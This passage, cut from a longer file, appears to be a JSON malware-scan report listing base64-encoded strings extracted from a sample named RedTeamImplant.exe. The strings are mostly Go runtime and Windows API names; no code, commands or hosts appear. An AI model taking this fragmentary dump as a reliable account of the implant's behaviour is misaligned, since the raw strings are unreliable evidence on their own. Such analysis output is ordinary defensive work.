Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2hlYXByYW5k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2hlY2tlbXB0eQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2hlY2tJbnZhcmlhbnRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2hlY2tub25lbXB0eQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2hlY2tWYWxpZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2hpbGRJT0ZpbGVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2hpbGRyZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2hpbGRTdGRlcnI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2hpbGRTdGRpbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2hpbGRTdGRvdXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2xlYW5IZWFk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2xlYW51cEJsb2NrSGVhZGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2xlYW51cHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2xlYW51cHNRdWV1ZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$aa","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$ab","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2xlYXJBbGxwU25hcHNob3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2xlYXJCdWZz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2xlYXJmbGFncw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2xlYXJTbWFsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2xvc2VIYW5kbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2xvc2VIYW5kbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y21wLkNvbXBhcmVbZ28uc2hhcGUuZmxvYXQ2NF0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y21wLkNvbXBhcmVbZ28uc2hhcGUuaW50NjRd","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y21wLkNvbXBhcmVbZ28uc2hhcGUuc3RyaW5nXQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y21wLkNvbXBhcmVbZ28uc2hhcGUudWludDY0XQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y21wLkNvbXBhcmVbZ28uc2hhcGUudWludHB0cl0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y21wLmlzTmFOW2dvLnNoYXBlLmZsb2F0NjRd","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29tYmluZWRPdXRwdXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29tbWFuZChM","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$ac","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$ad","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y29tbWl0dGVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFyYWJsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y29tcGFyZUFuZERlbGV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFyZUFuZERlbGV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFyZUFuZFN3YXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y29tcGFyZUFuZFN3YXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFyZUFuZFN3YXBOb1dC","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFyZUFuZFN3YXBSZWxlYXNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29ubmVjdEV4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y29udGV4dC5pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y29udGV4dC5pbml0LjA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29udGludWVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y29udHJvbGxlckNvb2xkb3du","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y29udHJvbGxlckZhaWxlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29udmVydGlibGVUbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29yZUR1bXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y291bnRBbGxvYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y291bnRib2R5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y3JlYXRlZEJ5U3RhY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRXZlbnRB","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlSW9Db21wbGV0aW9uUG9ydA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y3JlYXRlc3RhY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlVGhyZWFk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlV2FpdGFibGVUaW1lckV4Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRpb25GbGFncw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRpb25UaW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y3R4UmVzdWx0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y3ljbGVzTG9zdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRoSDlQQHc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZCpzdHJ1Y3QgeyBmIGZ1bmMoKSBnby5zaGFwZS5ib29sOyBvbmNlIHN5bmMuT25jZTsgdmFsaWQgYm9vbDsgcCBpbnRlcmZhY2Uge307IHJlc3VsdCBnby5zaGFwZS5ib29sIH0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGF0YUNoZWNrZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"REREREREREREREREREREREREREREREREREREREREREQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVidWdDYWw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVidWdDYWxIOQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVidWdDYWxsMTAyNA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVidWdDYWxsMTI4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVidWdDYWxsMTYzODQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVidWdDYWxsMjA0OA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVidWdDYWxsMjU2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVidWdDYWxsMzI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVidWdDYWxsMzI3Njg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVidWdDYWxsNDA5Ng==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVidWdDYWxsNTEy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVidWdDYWxsNjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVidWdDYWxsNjU1MzY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVidWdDYWxsODE5Mg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVjQWN0aXZl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVjb2RlZExlbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVjb2RlTWFw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVjb2RlUXVhbnR1bQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVjb2RlU3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVjUGluQ291bnRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVmZXJCaXRzT2Zmc2V0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVmZXJCaXRzUHRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVmZXJwb29s","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVmZXJwb29sYnVm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVmZXJyZXR1cm4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVsZXRlTWlu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVsZXRlU21hbGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGVxdWV1ZVN1ZG9H","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGlmZmVyZW5jZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGlyZWN0b3J5QXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGlyZWN0b3J5SW5kZXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGlyZWN0b3J5U2V0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGlzYXNzb2NpYXRlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGlzYXNzb2NpYXRlSU9DUA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGlzcGF0Y2g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGl2aWRlQnlFbGVtU2l6ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZGxvZ1Blck0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZG9QcmludGY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZG9QcmludGxu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZG9SZWxlYXNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZHN0UmVnaXN0ZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZHN0UmVnaXN0ZXJz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZHN0U3RhY2tPZmZzZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZHN0U3RhY2tTaXpl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RHVwbGljYXRlSGFuZGxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZS5JbmRleHNraXAgdGhpcyBkaXJlY3RvcnlTZXRUb2tlbkluZm9ybWF0aW9uR2V0T3ZlcmxhcHBlZFJlc3VsdE11bHRpQnl0ZVRvV2lkZUNoYXJXU0FEdXBsaWNhdGVTb2NrZXRXc3Ryb25nRnJvbVdlYWtRdWV1ZUdDIG1hcmsgdGVybWluYXRpb25zeW5jLldhaXRHcm91cC5XYWl0Y2hhbiBzZW5kIChkdXJhYmxlKXdhaXQgZm9yIGRlYnVnIGNhbGxwYW5pY3dyYXA6IG5vICggaW4gcGFuaWN3cmFwOiBubyApIGluICBjYWxsZWQgdXNpbmcgbmlsICp1bmtub3duIHdhaXQgcmVhc29ubm90ZXNsZWVwIG5vdCBvbiBnMEdDIHdvcmsgbm90IGZsdXNoZWQvZ2Mvc2Nhbi9oZWFwOmJ5dGVzL2djL2hlYXAvZ29hbDpieXRlcy9nYy9oZWFwL2xpdmU6Ynl0ZXNtYXJrcm9vdDogYmFkIGluZGV4bndhaXQgPiB3b3JrLm5wcm9jcywgZ3AtPmF0b21pY3N0YXR1cz1tYXJraW5nIGZyZWUgb2JqZWN0IEtpQiB3b3JrIChlYWdlciksICBbY29udHJvbGxlciByZXNldF1tc3Bhbi5zd2VlcDogc3RhdGU9c3lzTWVtU3RhdCBvdmVyZmxvd2JhZCBzZXF1ZW5jZSBudW1iZXJudGRsbC5kbGwgbm90IGZvdW5kd2lubW0uZGxsIG5vdCBmb3VuZHJ1bnRpbWU6IGcwIHN0YWNrIFtwYW5pYyBkdXJpbmcgbWFsbG9jcGFuaWMgaG9sZGluZyBsb2Nrc21pc3NpbmcgZGVmZXJyZXR1cm51bmV4cGVjdGVkIGdwLnBhcmFtcGFuaWMgZHVyaW5nIHBhbmljLCAgZy0+YXRvbWljc3RhdHVzPXVuZXhwZWN0ZWQgZyBzdGF0dXNiYWQgcnVudGltZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$ae","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$af","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RUREREREREREREREREREREREREREREREREREREREREQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RW5jb2RlZExlbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RW5jb2RlVG9TdHJpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZW5jb2RpbmcvYmFzZTY0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZW5jb2RpbmcvYmFzZTY0LigqRW5jb2RpbmcpLkVuY29kZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZW5jb2RpbmcvYmFzZTY0LigqRW5jb2RpbmcpLkVuY29kZWRMZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZW5jb2RpbmcvYmFzZTY0LigqRW5jb2RpbmcpLkVuY29kZVRvU3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZW5jb2RpbmcvYmFzZTY0LkVuY29kaW5nLldpdGhQYWRkaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZW5jb2RpbmcvYmFzZTY0LmluaXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZW5jb2RpbmcvYmFzZTY0Lk5ld0VuY29kaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZW5vcHRyYnNz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZW5vcHRyZGF0YQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZW5zdXJlU3dlcHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZXJySW50ZWdyYWw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZXJyb3JzLigqZXJyb3JTdHJpbmcpLkVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZXJyb3JzLmluaXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZXJyb3JzLklz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZXJyb3JzLmlz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZXJyb3JzLk5ldw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZXJyT3ZlcmZsb3c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZXJ2aWNlV1JldmVydFRvU2VsZkNyZWF0ZUV2ZW50V0dldENvbnNvbGVDUFVubG9ja0ZpbGVFeFZpcnR1YWxRdWVyeU50Q3JlYXRlRmlsZWFkdmFwaTMyLmRsbGlwaGxwYXBpLmRsbGtlcm5lbDMyLmRsbG5ldGFwaTMyLmRsbHN3ZWVwV2FpdGVyc2NsZWFudXBRdWV1ZXRyYWNlU3RyaW5nc3NwYW5TZXRTcGluZW1zcGFuU3BlY2lhbHRyYWNlVHlwZVRhYmdjQml0c0FyZW5hc21oZWFwU3BlY2lhbGdjcGFjZXJ0cmFjZWhhcmRkZWNvbW1pdG1hZHZkb250bmVlZGR1bXBpbmcgaGVhcGNoYW4gcmVjZWl2ZXN5bmN0ZXN0LlJ1bmNsZWFudXAgd2FpdCBzcGFuLmxpbWl0PSBzcGFuLnN0YXRlPWJhZCBmbHVzaEdlbiBNQiBzdGFja3MsIHNjYW46IHRvdGFsIHNjYW46IGNsYXNzIHdvcmtlciBtb2RlICBuRGF0YVJvb3RzPSBuU3BhblJvb3RzPSB3YnVmMT08bmlsPiB3YnVmMj08bmlsPiBnY3NjYW5kb25lIHJ1bnRpbWU6IGdwPSBmb3VuZCBhdCAqKCBzLmVsZW1zaXplPSBCICg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$b0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$b1","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RXhpdENvZGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RXhpdFByb2Nlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RXhpdFN0YXR1cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZXhwb3J0ZWRNZXRob2Rz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RXhwb3J0ZWRNZXRob2Rz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZXh0ZW5kU2xpY2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RXh0cmFGaWxlcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmllbGRBbGlnbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmllbGRBbGlnbl8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmllbGRCeUluZGV4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmllbGRCeUluZGV4RXJy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmllbGRCeU5hbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmllbGRCeU5hbWVGdW5j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZmlsZStuZXRIOQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZUF0dHJpYnV0ZXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZVNpemVIaWdo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZVNpemVMb3c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZmlsZXRhYk9mZnNldA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZmluZGZ1bmN0YWI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmluZFByb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zmlwc0luZGljYXRvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zmlyc3Rab25lVXNlZA==","type":"Ansi","source":"Memory/File 